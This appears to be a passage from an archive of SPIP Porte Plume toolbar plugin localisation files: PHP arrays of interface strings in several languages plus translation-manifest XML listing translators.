'barre_miseenevidence' => '[*Highlight*] the text',
'barre_note' => 'Turn into a [[Footnote]]',
'barre_paragraphe' => 'Create a paragraph',
'barre_petitescapitales' => 'Put the text in <sc>small capitales</sc>',
'barre_poesie' => 'Edit as a <poesie>poetry</poesie>',
'barre_preview' => 'Preview mode',
'barre_quote' => '<quote>Quote a message</quote>',
'barre_stats' => 'Show text statistics',
'barre_tableau' => 'Insert/modify a table (select it first)',
// C
'config_info_enregistree' => 'Configuration saved',
// E
'editer' => 'Edit',
'explication_barre_outils_public' => 'CSS and Javascript Scripts for toolbars
(Quill extension, Porte Plume) are loaded in the public site and
provide toolbars in forums, public crayons or other plugins
if their respective configurations allow it.',
'explication_barre_outils_public_2' => 'You can choose not to load these scripts to lighten public pages.
Therefore, whatever configuration the forums, crayons or plugins have, no Quill toolbar will appear automatically in the public site.',
// I
'info_barre_outils_public' => 'Public toolbars',
'info_porte_plume_titre' => 'Toolbars configuration',
// L
'label_barre_outils_public_non' => 'Do not load the toolbars scripts in the public site',
'label_barre_outils_public_oui' => 'Load the toolbars scripts in the public site.',
// V
'voir' => 'Preview'
);
?>
barreoutils_sk.php 0000666 00000012320 15252577465 0010331 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/barreoutils?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'Vložiť À',
'barre_adresse' => 'Adresa',
'barre_aide' => 'Na úpravu vzhľadu použite klávesové skratky',
'barre_alignerdroite' => 'Odsek [/zarovnať vpravo/]',
'barre_ancres' => 'Kotvy',
'barre_barre' => 'Prečiarknuť text',
'barre_bulle' => 'Bublinková nápoveď',
'barre_c_cedille_maj' => 'Vložiť Ç',
'barre_cadre' => 'Dať do <rámu> textového poľa</rámu>',
'barre_caracteres' => 'Špeciálne znaky',
'barre_centrer' => 'Zarovnať odsek [|nastred|]',
'barre_chercher' => 'Vyhľadať a nahradiť',
'barre_clean' => 'Vyčistiť kód od všetkých tagov HTML',
'barre_code' => 'Upraviť <kód>počítačový kód</kód>',
'barre_desindenter' => 'Zrušiť voľný riadok',
'barre_e_accent_aigu' => 'Vložiť É',
'barre_e_accent_grave' => 'Vložiť È',
'barre_ea' => 'Vložiť æ',
'barre_ea_maj' => 'Vložiť Æ',
'barre_encadrer' => '[(Orámovať)] odsek',
'barre_eo' => 'Vložiť œ',
'barre_eo_maj' => 'Vložiť Œ',
'barre_euro' => 'Vložiť symbol €',
'barre_exposant' => 'Zmeniť text na <sup>horný index</sup>',
'barre_formatages_speciaux' => 'Špeciálne formátovanie',
'barre_galerie' => 'Otvoriť galériu',
'barre_gestion_anc_bulle' => 'Bublina s nápoveďou ku kotve',
'barre_gestion_anc_caption' => 'Kotvy',
'barre_gestion_anc_cible' => 'Cieľ kotvy',
'barre_gestion_anc_inserer' => 'Zmeniť na kotvu',
'barre_gestion_anc_nom' => 'Názov kotvy',
'barre_gestion_anc_pointer' => 'Prepojiť s kotvou',
'barre_gestion_caption' => 'Legenda a zhrnutie',
'barre_gestion_colonne' => 'Počet stĺpcov',
'barre_gestion_cr_casse' => 'Rozlišovať malé a veľké písmená',
'barre_gestion_cr_changercasse' => 'Zmeniť malé písmená na veľké alebo opačne',
'barre_gestion_cr_changercassemajuscules' => 'Zmeniť na veľké písmená',
'barre_gestion_cr_changercasseminuscules' => 'Zmeniť na malé písmená',
'barre_gestion_cr_chercher' => 'Vyhľadať',
'barre_gestion_cr_entier' => 'Iba celé slová',
'barre_gestion_cr_remplacer' => 'Nahradiť',
'barre_gestion_cr_tout' => 'Nahradiť všetky',
'barre_gestion_entete' => 'Hlavička',
'barre_gestion_ligne' => 'Počet riadkov',
'barre_gestion_taille' => 'Pevná veľkosť',
'barre_glossaire' => 'Odkaz na [?Slovník] (Wikipédia)',
'barre_gras' => '{{Tučné písmo}}',
'barre_guillemets' => 'Dať do "dvojitých úvodzoviek"',
'barre_guillemets_simples' => 'Dať do “jednoduchých úvodzoviek“',
'barre_indenter' => 'Vynechať riadok',
'barre_inserer_cadre' => 'Vložiť predformátovaný kód (rám)',
'barre_inserer_caracteres' => 'Vložiť špeciálne znaky',
'barre_inserer_code' => 'Vložiť počítačový kód (kód)',
'barre_intertitre' => 'Zmeniť na {{{podnadpis}}}',
'barre_italic' => '{Kurzíva}',
'barre_langue' => 'Skratkový jzyk',
'barre_lien' => 'Zmeniť na [hypertextový odkaz->http://...]',
'barre_lien_externe' => 'Externý odkaz',
'barre_lien_input' => 'Prosím, zadajte cieľ svojho hypertextového odkazu (môžete uviesť internetovú adresu v podobe http://www.mojastranka.sk alebo jednoducho číslo článku na tejto stránke).',
'barre_liste_ol' => 'Nastaviť číslovaný zoznam',
'barre_liste_ul' => 'Nastaviť zoznam',
'barre_lorem_ipsum' => 'Vložiť falošný odsek',
'barre_lorem_ipsum_3' => 'Vložiť tri falošné odseky',
'barre_miseenevidence' => '[*Zvýrazniť*] text',
'barre_note' => 'Zmeniť na [[poznámku pod čiarou]]',
'barre_paragraphe' => 'Vytvoriť odsek',
'barre_petitescapitales' => 'Zmeniť text na <sc>kapitálky</sc>',
'barre_poesie' => 'Upraviť ako <poesie>poéziu</poesie>',
'barre_preview' => 'Režim ukážky',
'barre_quote' => '<quote>Citovať príspevok</quote>',
'barre_stats' => 'Zobraziť štatistiku textu',
'barre_tableau' => 'Vložiť/upraviť tabuľku (najprv ju označte)',
// C
'config_info_enregistree' => 'Nastavenia uložené',
// E
'editer' => 'Upraviť',
'explication_barre_outils_public' => 'CSS a javascriptové skripty pre panely s nástrojmi
(Rozšírenie Quill, Porte Plume) sa nachádzajú na verejne prístupnej stránke
a poskytujú panely nástrojov v diskusných fórach, vo verejnom prostredí crayonov alebo iných zásuvných modulov
ak to ich nastavenia povoľujú.',
'explication_barre_outils_public_2' => 'Môžete sa rozhodnúť, že nebudete spúšťať tieto skripty, aby ste odbremenili verejne prístupné stránky.
Preto bez ohľadu na nastavenia diskusných fóra, crayonov alebo zásuvných modulov
sa na verejne prístupnej stránke automaticky nezobrazí žiaden panel s nástrojmi Porte Plume.',
// I
'info_barre_outils_public' => 'Verejné nástroje',
'info_porte_plume_titre' => 'Nastavenia nástrojov',
// L
'label_barre_outils_public_non' => 'Na verejne prístupnej stránke nespúšťať skripty nástrojov',
'label_barre_outils_public_oui' => 'Na verejne prístupnej stránke spúšťať skripty nástrojov',
// V
'voir' => 'Ukážka'
);
?>
barreoutils_nl.php 0000666 00000012123 15252577465 0010326 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/barreoutils?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'À intypen',
'barre_adresse' => 'Adres',
'barre_aide' => 'Gebruik typografische sneltoetsen om uw lay-out te verbeteren',
'barre_alignerdroite' => 'Paragraaf [/rechts uitlijnen/]',
'barre_ancres' => 'Beheer van ankers',
'barre_barre' => 'Tekst doorstrepen',
'barre_bulle' => 'Helpscherm',
'barre_c_cedille_maj' => 'Ç intypen',
'barre_cadre' => 'In een <cadre>tekstopslag zone</cadre> plaatsen',
'barre_caracteres' => 'Speciale tekens',
'barre_centrer' => 'Paragraaf [|centreren|]',
'barre_chercher' => 'Zoeken / Vervangen',
'barre_clean' => 'Alle html tags uit de code wissen',
'barre_code' => 'Een <code> informaticuscode </code> formatteren',
'barre_desindenter' => 'Lijst laten terugspringen ',
'barre_e_accent_aigu' => 'É intypen',
'barre_e_accent_grave' => 'È intypen',
'barre_ea' => 'æ intypen',
'barre_ea_maj' => 'Æ intypen',
'barre_encadrer' => 'Paragraaf [(omlijnen)]',
'barre_eo' => 'œ intypen',
'barre_eo_maj' => 'Πintypen',
'barre_euro' => '€ intypen',
'barre_exposant' => 'Tekst in <sup>exponent</sup> zetten',
'barre_formatages_speciaux' => 'Speciale formattering ',
'barre_galerie' => 'Galerij opendoen',
'barre_gestion_anc_bulle' => 'Helpscherm anker',
'barre_gestion_anc_caption' => 'Ankerbeheer ',
'barre_gestion_anc_cible' => 'Doelanker ',
'barre_gestion_anc_inserer' => 'Als anker verwerken',
'barre_gestion_anc_nom' => 'Ankernaam ',
'barre_gestion_anc_pointer' => 'Naar een anker linken ',
'barre_gestion_caption' => 'Legend en Samenvatting ',
'barre_gestion_colonne' => 'Aantal kolommen ',
'barre_gestion_cr_casse' => 'Letterkast respecteren',
'barre_gestion_cr_changercasse' => 'Letterkast veranderen',
'barre_gestion_cr_changercassemajuscules' => 'Hoofdletter zetten',
'barre_gestion_cr_changercasseminuscules' => 'Onderkast zetten',
'barre_gestion_cr_chercher' => 'Zoeken',
'barre_gestion_cr_entier' => 'Volledige woord',
'barre_gestion_cr_remplacer' => 'Vervangen',
'barre_gestion_cr_tout' => 'Alles vervangen',
'barre_gestion_entete' => 'Hoofd',
'barre_gestion_ligne' => 'Aantal lijnen',
'barre_gestion_taille' => 'Vaste grootte',
'barre_glossaire' => 'Linken naar het [?woordenlijst] (Wikipedia)',
'barre_gras' => 'In het {{vet}} schrijven',
'barre_guillemets' => 'In « aanhalingsteken » sluiten',
'barre_guillemets_simples' => 'In “2de niveau aanhalingsteken” sluiten',
'barre_indenter' => 'Lijst inspringen',
'barre_inserer_cadre' => 'Een vooraf geformatteerde code invoegen (cadre)',
'barre_inserer_caracteres' => 'Speciale tekens intypen',
'barre_inserer_code' => 'Een informaticus code invoegen (code)',
'barre_intertitre' => 'Als {{{tussenkop}}} zetten',
'barre_italic' => '{Cursief} zetten',
'barre_langue' => 'Taalverkorting',
'barre_lien' => 'In [hyperlink->http://...] verwerken',
'barre_lien_externe' => 'Externe link ',
'barre_lien_input' => 'Gelieve het adres van je link in te geven (Internet adres zoals http://www.monsite.com, email adres, of gewoon het nummer van een artikel uit deze site).',
'barre_liste_ol' => 'Een genummerde lijst zetten ',
'barre_liste_ul' => 'In lijst zetten',
'barre_lorem_ipsum' => 'Een lege paragraaf aanmaken',
'barre_lorem_ipsum_3' => 'Drie lege paragrafen zetten',
'barre_miseenevidence' => 'Tekst [*goed zichtbaar neerleggen*]',
'barre_note' => 'In [[Voetnoot]] verwerken',
'barre_paragraphe' => 'Een paragraaf aanmaken',
'barre_petitescapitales' => 'Tekst in <sc>kleine hoofdletters</sc> zetten',
'barre_poesie' => 'Als een <poesie>poëzie</poesie> formatteren ',
'barre_preview' => 'Preview-modus',
'barre_quote' => '<quote>Een boodschap citeren</quote>',
'barre_stats' => 'Statistieken van de tekst wijzen',
'barre_tableau' => 'Een table (vooraf te selecteren) aanmaken/verbeteren',
// C
'config_info_enregistree' => 'Configuratie opgeslagen',
// E
'editer' => 'Redigeren',
'explication_barre_outils_public' => 'De CSS- en Javascript-scripten van de werkbalken (Penhouder plug-in) zijn op de publieke site bruikbaar
en maken het zo mogelijk om ze op de forumformuliers te gebriken,
de publieke potloden (plug-in) of nog andere plugins, of hun configuratie het zo voorziet.',
'explication_barre_outils_public_2' => 'Je mag kiezen deze scripts niet te laten laden
om de grootte van de publieke pagina’s te verminderen.
In dit geval zal geen werkbalk in de publieke site beschikbaar
zijn, onafhankelijk van de configuraties van de fora,
potloden en andere plugins.',
// I
'info_barre_outils_public' => 'Publieke werkbalk',
'info_porte_plume_titre' => 'Werkbalken configureren ',
// L
'label_barre_outils_public_non' => 'De scripts van de werkbalken op de publieke site NIET laden ',
'label_barre_outils_public_oui' => 'De scripts van de werkbalk op de publieke site laden',
// V
'voir' => 'Zien'
);
?>
paquet-barreoutils.xml 0000666 00000000256 15252577465 0011147 0 ustar 00 <traduction module="paquet-barreoutils" gestionnaire="salvatore" url="" source="svn://zone.spip.org/spip-zone/_core_/plugins/porte_plume/lang/" reference="fr">
</traduction>
paquet-porte_plume_pt.php 0000666 00000001107 15252577465 0011635 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'Pena é uma barra de ferramentas em SPIP que usa a biblioteca javascript [MarkItUp->http://markitup.jaysalvat.com/home/]',
'porte_plume_nom' => 'Pena',
'porte_plume_slogan' => 'Uma barra de ferramentas para abrilhantar os seus textos'
);
?>
barreoutils_de.php 0000666 00000012054 15252577465 0010310 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/barreoutils?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'A mit accent grave einfügen',
'barre_adresse' => 'Adresse',
'barre_aide' => 'Gestalten sie ihre Seite mit typografischen Kürzeln',
'barre_alignerdroite' => 'Absatz [/rechtsbündig/] ausrichten',
'barre_ancres' => 'Anker verwalten',
'barre_barre' => 'Text durchstreichen',
'barre_bulle' => 'Sprechblasenhilfe',
'barre_c_cedille_maj' => 'C cédille einfügen',
'barre_cadre' => 'In <cadre>Textfeld</cadre> einfügen',
'barre_caracteres' => 'Sonderzeichen',
'barre_centrer' => 'Absatz [|zentrieren|]',
'barre_chercher' => 'Suchen / Ersetzen',
'barre_clean' => 'Code aller HTML-Tags bereinigen',
'barre_code' => '<code>Programmcode </code> formatieren',
'barre_desindenter' => 'Einrückungen aus Liste entfernen',
'barre_e_accent_aigu' => 'E mit accent aigu einfügen',
'barre_e_accent_grave' => 'E mit accent grave einfügen',
'barre_ea' => 'æ einfügen',
'barre_ea_maj' => 'Æ einfügen',
'barre_encadrer' => 'Absatz mit [(Kasten)]',
'barre_eo' => 'œ einfügen',
'barre_eo_maj' => 'Œ einfügen',
'barre_euro' => '€ Symbol einfügen',
'barre_exposant' => 'Text <sup>hochstellen</sup>',
'barre_formatages_speciaux' => 'Spezielle Formatierungen',
'barre_galerie' => 'Galerie öffnen',
'barre_gestion_anc_bulle' => 'Sprechblasenhilfe zum Anker',
'barre_gestion_anc_caption' => 'Anker verwalten',
'barre_gestion_anc_cible' => 'Zielanker',
'barre_gestion_anc_inserer' => 'In Anker umwandeln',
'barre_gestion_anc_nom' => 'Name des Ankers',
'barre_gestion_anc_pointer' => 'Link zu Anker',
'barre_gestion_caption' => 'Legende und Zusammenfassung',
'barre_gestion_colonne' => 'Spaltenzahl',
'barre_gestion_cr_casse' => 'Gross/Klein beachten',
'barre_gestion_cr_changercasse' => 'Majusker/Gemeine tauschel',
'barre_gestion_cr_changercassemajuscules' => 'In Majuskel umwandeln',
'barre_gestion_cr_changercasseminuscules' => 'In Gemeine umwandeln',
'barre_gestion_cr_chercher' => 'Suchen',
'barre_gestion_cr_entier' => 'Ganzes Wort',
'barre_gestion_cr_remplacer' => 'Ersetzen',
'barre_gestion_cr_tout' => 'Alles ersetzen',
'barre_gestion_entete' => 'Kopf',
'barre_gestion_ligne' => 'Zeilenzahl',
'barre_gestion_taille' => 'Feste Größe',
'barre_glossaire' => 'Eintrag in [?glossaire] (Wikipedia)',
'barre_gras' => '{{Fett}} setzen',
'barre_guillemets' => 'In « Anführungszeichen » setzen.',
'barre_guillemets_simples' => 'in “ doppelte Anführungszeichen ”',
'barre_indenter' => 'Liste mit Einrückungen',
'barre_inserer_cadre' => 'Vorformatierten Code einfügen (cadre)',
'barre_inserer_caracteres' => 'Sonderzeichen einfügen',
'barre_inserer_code' => 'Programmcode einfügen (code)',
'barre_intertitre' => 'In {{{Zwischentitel}}} umwandeln',
'barre_italic' => 'In {kursiv} umwandeln',
'barre_langue' => 'Sprache / Kurzform',
'barre_lien' => 'In [Hyperlink->http://...] umwandeln',
'barre_lien_externe' => 'Externer Link',
'barre_lien_input' => 'Bitte geben sie die Adresse ihrer Website an (Sie können eine Webadresse im Format http://www.meineseite.de, eine Mailadresse oder die Nummer eines Artikels dieser Website angeben.)',
'barre_liste_ol' => 'Als nummerierte Liste formatieren',
'barre_liste_ul' => 'Als Liste formatieren',
'barre_lorem_ipsum' => 'Einen falschen Absatz einfügen',
'barre_lorem_ipsum_3' => 'Drei falsche Absätze einfügen',
'barre_miseenevidence' => '[*hervorheben*]',
'barre_note' => 'In [[Fu',
'barre_paragraphe' => 'Absatz einfügen',
'barre_petitescapitales' => 'Text als <sc>Kapitälchen</sc>',
'barre_poesie' => 'Als <Poesie>Poésie</poesie> formatieren',
'barre_preview' => 'Vorschaumodus',
'barre_quote' => '<quote>Nachricht zitieren</quote>',
'barre_stats' => 'Statistiken des Texts anzeigen',
'barre_tableau' => 'In einer Tabelle (bitte markieren) suchen und ersetzen',
// C
'config_info_enregistree' => 'Konfiguration gespeichert',
// E
'editer' => 'Bearbeiten',
'explication_barre_outils_public' => 'Die CSS et Javaskripte der Werkzeugleiste
(Erweiterung Federhalter) werden in den öffentlichen Bereich geladen und
ermöglichen diese Werkzeugleiten in den Formularen der Foren, des Stift-Plugins
und in weiteren Plugins einzusetzen, wenn die jeweilige Konfiguration es erlaubt.',
'explication_barre_outils_public_2' => 'Sie können die Werkzeugleisten abschalten und
die Größe des Codes der öffentlichen Seiten reduzieren.
Das betrifft Eingabefelder von Foren und Plugins.',
// I
'info_barre_outils_public' => 'Öffentliche Werkzeugleiste',
'info_porte_plume_titre' => 'Werkzeugleiste konfigurieren',
// L
'label_barre_outils_public_non' => 'Werkzeugleisten nicht im öffentlichen Bereich laden.',
'label_barre_outils_public_oui' => 'Werkzeugleisten und Skripte im öffentlichen Bereich laden.',
// V
'voir' => 'Anzeigen'
);
?>
paquet-porte_plume.xml 0000666 00000006374 15252577465 0011156 0 ustar 00 <traduction module="paquet-porte_plume" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/porte_plume/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=ar" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=de" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=en" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=es" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=fa" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=fr" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=fr_fem" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=it" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=nl" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=pt" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=ru" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=sk" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-porte_plume_it.php 0000666 00000001130 15252577465 0011622 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'Portapenne è una barra degli strumenti estensibile per SPIP che utilizza la libreria javascript [MarkItUp->http://markitup.jaysalvat.com/home/]',
'porte_plume_nom' => 'Portapenne',
'porte_plume_slogan' => 'Una barra degli strumenti per scrivere bene'
);
?>
barreoutils_ru.php 0000666 00000014700 15252577465 0010346 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/barreoutils?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'Символ À',
'barre_adresse' => 'Адрес ',
'barre_aide' => 'Используйте spip коды для форматирования текста',
'barre_alignerdroite' => 'Абзац [/По правому краю /]',
'barre_ancres' => 'Ссылки',
'barre_barre' => 'Перечеркнуть',
'barre_bulle' => 'Помощь',
'barre_c_cedille_maj' => 'Символ Ç',
'barre_cadre' => 'Выделить <cadre>текст</cadre>',
'barre_caracteres' => 'Специальные символы',
'barre_centrer' => '[|Центрировать|] абзац',
'barre_chercher' => 'Найти и заменить',
'barre_clean' => 'Удалить HTML теги из кода',
'barre_code' => 'Редактировать <code> текст </code>',
'barre_desindenter' => 'Убрать отступ',
'barre_e_accent_aigu' => 'Символ É',
'barre_e_accent_grave' => 'Символ È',
'barre_ea' => 'Символ æ',
'barre_ea_maj' => 'Символ Æ',
'barre_encadrer' => '[(Выделить)] абзац',
'barre_eo' => 'Символ œ',
'barre_eo_maj' => 'Символ Œ',
'barre_euro' => 'Символ €',
'barre_exposant' => 'Форматировать <sup> текст (суперскрипт) t</sup>',
'barre_formatages_speciaux' => 'Специальное форматирование',
'barre_galerie' => 'Открыть изображения',
'barre_gestion_anc_bulle' => 'Помощь',
'barre_gestion_anc_caption' => 'Ссылки',
'barre_gestion_anc_cible' => 'Ссылка откроется',
'barre_gestion_anc_inserer' => 'Сделать ссылкой',
'barre_gestion_anc_nom' => 'Текст ссылки',
'barre_gestion_anc_pointer' => 'Указатель на ссылку',
'barre_gestion_caption' => 'Условные обозначения',
'barre_gestion_colonne' => 'Кол. колонок',
'barre_gestion_cr_casse' => 'Учитывать регистр',
'barre_gestion_cr_changercasse' => 'Изменить регистр',
'barre_gestion_cr_changercassemajuscules' => 'Сделать ПРОПИСНЫМИ',
'barre_gestion_cr_changercasseminuscules' => 'Сделать строчными',
'barre_gestion_cr_chercher' => 'Поиск',
'barre_gestion_cr_entier' => 'Только слова полностью',
'barre_gestion_cr_remplacer' => 'Заменить',
'barre_gestion_cr_tout' => 'Заменить все',
'barre_gestion_entete' => 'Заголовок',
'barre_gestion_ligne' => 'Кол. строк',
'barre_gestion_taille' => 'Фиксированный размер',
'barre_glossaire' => '[?glossaire] ссылка (Wikipedia)',
'barre_gras' => '{{Полужирный}}',
'barre_guillemets' => 'Выделить « двойными кавычками »',
'barre_guillemets_simples' => 'Вставить между “кавычками”',
'barre_indenter' => 'Добавить отступ',
'barre_inserer_cadre' => 'Вставить форматированный текст (cadre)',
'barre_inserer_caracteres' => 'Вставить специальные символы',
'barre_inserer_code' => 'Выделение для программного кода (code)',
'barre_intertitre' => '{{{Подзаголовок}}}',
'barre_italic' => '{Курсив}',
'barre_langue' => 'Аббревиатуры',
'barre_lien' => 'Сделать [ссылкой->http://...]',
'barre_lien_externe' => 'Внешняя ссылка',
'barre_lien_input' => 'Укажите адрес для этой ссылки ( вы можете указать в формате URL http://www.monsite.com или просто написать номер статьи).',
'barre_liste_ol' => 'Нумерованный список',
'barre_liste_ul' => 'Список',
'barre_lorem_ipsum' => 'Вставить пустой абзац',
'barre_lorem_ipsum_3' => 'Вставить три пустых абзаца',
'barre_miseenevidence' => '[*Подсветить*] текст',
'barre_note' => 'Сдлать [[сноску]]',
'barre_paragraphe' => 'Создать абзац',
'barre_petitescapitales' => 'Написать <sc>строчными </sc>',
'barre_poesie' => 'Форматирование для <poesie>поэзии</poesie>',
'barre_preview' => 'Пред.просмотр',
'barre_quote' => '<quote>Цитата</quote>',
'barre_stats' => 'Статистика',
'barre_tableau' => 'Добавить или редактировать выбранную таблицу',
// C
'config_info_enregistree' => 'Настройки сохранены',
// E
'editer' => 'Редактировать',
'explication_barre_outils_public' => 'Файлы CSS и Javascript для панели инструментов будут загружены на сайте и панель форматирования текста будет выводится в модуле комментариев, редактирования текста на фронтэнде сайта.
(extension Porte Plume) sont chargés sur l’espace public
et permettent d’utiliser ces barres sur les formulaires de forums,
les crayons publics ou pour d’autres plugins, si leurs configurations
respectives le permettent.',
'explication_barre_outils_public_2' => 'Что бы максимально облегчить сайт и ускорить время его загрузки вы можете отключить добавление этих файлов. Тогда пользователи не смогут форматировать текст при добавлении комментариев и прочих модулях.',
// I
'info_barre_outils_public' => 'Панель инструментов на сайте',
'info_porte_plume_titre' => 'Настройка панели инструментов',
// L
'label_barre_outils_public_non' => 'Не добавлять скрипты панели инструментов на фронтэнд сайта',
'label_barre_outils_public_oui' => 'Добавить скрипты для панели инструментов на фрондэнд сайта',
// V
'voir' => 'Пред.просмотр'
);
?>
paquet-porte_plume_es.php 0000666 00000001133 15252577465 0011620 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'Porta pluma es una barra de herramientas extensible para SPIP que utiliza la librería javascript [MarkItUp->http://markitup.jaysalvat.com/home/]',
'porte_plume_nom' => 'Porta pluma',
'porte_plume_slogan' => 'Una barra de herramientas para escribir bien'
);
?>
barreoutils_fr_fem.php 0000666 00000012515 15252577465 0011160 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/barreoutils?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'Insérer un À',
'barre_adresse' => 'Adresse',
'barre_aide' => 'Utilisez les raccourcis typographiques pour enrichir votre mise en page',
'barre_alignerdroite' => '[/Aligne à droite/] le paragraphe',
'barre_ancres' => 'Gestion des ancres',
'barre_barre' => 'Barrer le texte',
'barre_bulle' => 'Bulle d’aide',
'barre_c_cedille_maj' => 'Insérer un Ç',
'barre_cadre' => 'Placer dans une <cadre>zone de saisie de texte</cadre>',
'barre_caracteres' => 'Caractères spéciaux',
'barre_centrer' => '[|Centrer|] le paragraphe',
'barre_chercher' => 'Chercher Remplacer',
'barre_clean' => 'Nettoyer le code de toutes les balises HTML',
'barre_code' => 'Mettre en forme un <code>code informatique</code>',
'barre_desindenter' => 'Désindenter une liste',
'barre_e_accent_aigu' => 'Insérer un É',
'barre_e_accent_grave' => 'Insérer un È',
'barre_ea' => 'Insérer un æ',
'barre_ea_maj' => 'Insérer un Æ',
'barre_encadrer' => '[(Encadrer)] le paragraphe',
'barre_eo' => 'Insérer un œ',
'barre_eo_maj' => 'Insérer un Œ',
'barre_euro' => 'Insérer le symbole €',
'barre_exposant' => 'Mettre le texte en <sup>exposant</sup>',
'barre_formatages_speciaux' => 'Formatages spéciaux',
'barre_galerie' => 'Ouvrir la galerie',
'barre_gestion_anc_bulle' => 'Bulle d’aide ancre',
'barre_gestion_anc_caption' => 'Gestion des ancres',
'barre_gestion_anc_cible' => 'Ancre cible',
'barre_gestion_anc_inserer' => 'Transformer en ancre',
'barre_gestion_anc_nom' => 'Nom de l’ancre',
'barre_gestion_anc_pointer' => 'Pointer vers une ancre',
'barre_gestion_caption' => 'Légende et Résumé',
'barre_gestion_colonne' => 'Nb colonnes',
'barre_gestion_cr_casse' => 'Respecter la casse',
'barre_gestion_cr_changercasse' => 'Changer la casse',
'barre_gestion_cr_changercassemajuscules' => 'Passer en majuscules',
'barre_gestion_cr_changercasseminuscules' => 'Passer en minuscules',
'barre_gestion_cr_chercher' => 'Chercher',
